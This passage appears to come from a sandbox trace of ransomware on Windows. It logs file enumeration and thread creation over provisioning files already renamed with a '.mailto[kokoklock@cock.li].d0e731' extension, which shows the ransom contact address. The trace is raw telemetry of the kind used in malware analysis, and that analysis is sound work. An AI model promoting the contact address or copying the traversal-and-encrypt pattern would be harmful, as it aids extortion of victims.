(Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f96bd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x668 [0177.524] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905691e4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905691e4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d664463, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x38f, dwReserved0=0x0, dwReserved1=0x0, cFileName="135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="135__C~1.D0E")) returned 1 [0177.526] wcscmp (_String1="135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.526] wcscmp (_String1="135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.526] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x186) returned 0x2f96d68 [0177.526] wcscpy (in: _Dest=0x2f96d68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.526] wcscat (in: _Dest=0x2f96d68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.526] wcscat (in: _Dest=0x2f96d68, _Source="135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f96d68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x63c [0177.527] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905691e4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905691e4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d68a6cb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="136__C~1.D0E")) returned 1 [0177.527] wcscmp (_String1="136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.527] wcscmp (_String1="136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.527] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x186) returned 0x2f8d3b0 [0177.527] wcscpy (in: _Dest=0x2f8d3b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.527] wcscat (in: _Dest=0x2f8d3b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.527] wcscat (in: _Dest=0x2f8d3b0, _Source="136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.527] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8d3b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4 [0177.528] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905691e4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905691e4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d6b09a6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x297, dwReserved0=0x0, dwReserved1=0x0, cFileName="137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="137__C~1.D0E")) returned 1 [0177.528] wcscmp (_String1="137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.528] wcscmp (_String1="137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.528] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16a) returned 0x2f8d540 [0177.528] wcscpy (in: _Dest=0x2f8d540, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.528] wcscat (in: _Dest=0x2f8d540, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.528] wcscat (in: _Dest=0x2f8d540, _Source="137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" [0177.528] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8d540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e4 [0177.529] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905691e4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905691e4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d6d6b4e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="138__C~1.D0E")) returned 1 [0177.529] wcscmp (_String1="138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.529] wcscmp (_String1="138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.529] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18c) returned 0x2f8d6b8 [0177.529] wcscpy (in: _Dest=0x2f8d6b8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.529] wcscat (in: _Dest=0x2f8d6b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.529] wcscat (in: _Dest=0x2f8d6b8, _Source="138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.529] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8d6b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e0 [0177.530] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9058f44f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9058f44f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d6fcbf2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x38e, dwReserved0=0x0, dwReserved1=0x0, cFileName="139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="139__C~1.D0E")) returned 1 [0177.530] wcscmp (_String1="139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.530] wcscmp (_String1="139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.530] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x182) returned 0x2faba08 [0177.530] wcscpy (in: _Dest=0x2faba08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.530] wcscat (in: _Dest=0x2faba08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.530] wcscat (in: _Dest=0x2faba08, _Source="139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2faba08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x618 [0177.530] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d722e91, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x386, dwReserved0=0x0, dwReserved1=0x0, cFileName="13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="13__CO~1.D0E")) returned 1 [0177.531] wcscmp (_String1="13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.531] wcscmp (_String1="13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.531] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x184) returned 0x2fabb98 [0177.531] wcscpy (in: _Dest=0x2fabb98, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.531] wcscat (in: _Dest=0x2fabb98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.531] wcscat (in: _Dest=0x2fabb98, _Source="13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fabb98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x748 [0177.531] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9058f44f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9058f44f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d74904c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x40e, dwReserved0=0x0, dwReserved1=0x0, cFileName="140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="140__C~1.D0E")) returned 1 [0177.531] wcscmp (_String1="140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.531] wcscmp (_String1="140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.531] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x182) returned 0x2fabd28 [0177.531] wcscpy (in: _Dest=0x2fabd28, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.531] wcscat (in: _Dest=0x2fabd28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.532] wcscat (in: _Dest=0x2fabd28, _Source="140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.532] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fabd28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e8 [0177.532] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9058f44f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9058f44f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d7957a5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x416, dwReserved0=0x0, dwReserved1=0x0, cFileName="141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="141__C~1.D0E")) returned 1 [0177.532] wcscmp (_String1="141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.532] wcscmp (_String1="141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.532] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x182) returned 0x2fabeb8 [0177.532] wcscpy (in: _Dest=0x2fabeb8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.532] wcscat (in: _Dest=0x2fabeb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.532] wcscat (in: _Dest=0x2fabeb8, _Source="141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.532] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fabeb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x744 [0177.533] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9058f44f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9058f44f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d7bb992, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x40a, dwReserved0=0x0, dwReserved1=0x0, cFileName="142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="142__C~1.D0E")) returned 1 [0177.533] wcscmp (_String1="142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.533] wcscmp (_String1="142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.533] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x182) returned 0x4f0b880 [0177.533] wcscpy (in: _Dest=0x4f0b880, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.533] wcscat (in: _Dest=0x4f0b880, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.533] wcscat (in: _Dest=0x4f0b880, _Source="142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.533] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0b880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4cc [0177.534] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9058f44f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9058f44f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x8d7e4ee4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x406, dwReserved0=0x0, dwReserved1=0x0, cFileName="143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="143__C~1.D0E")) returned 1 [0177.534] wcscmp (_String1="143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.534] wcscmp (_String1="143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.534] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x182) returned 0x4f0ba10 [0177.534] wcscpy (in: _Dest=0x4f0ba10, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0177.534] wcscat (in: _Dest=0x4f0ba10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0177.534] wcscat (in: _Dest=0x4f0ba10, _Source="143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0177.534] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0ba10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c8 [0177.535] FindNextFileW (in: hFindFile=0x2f80360, 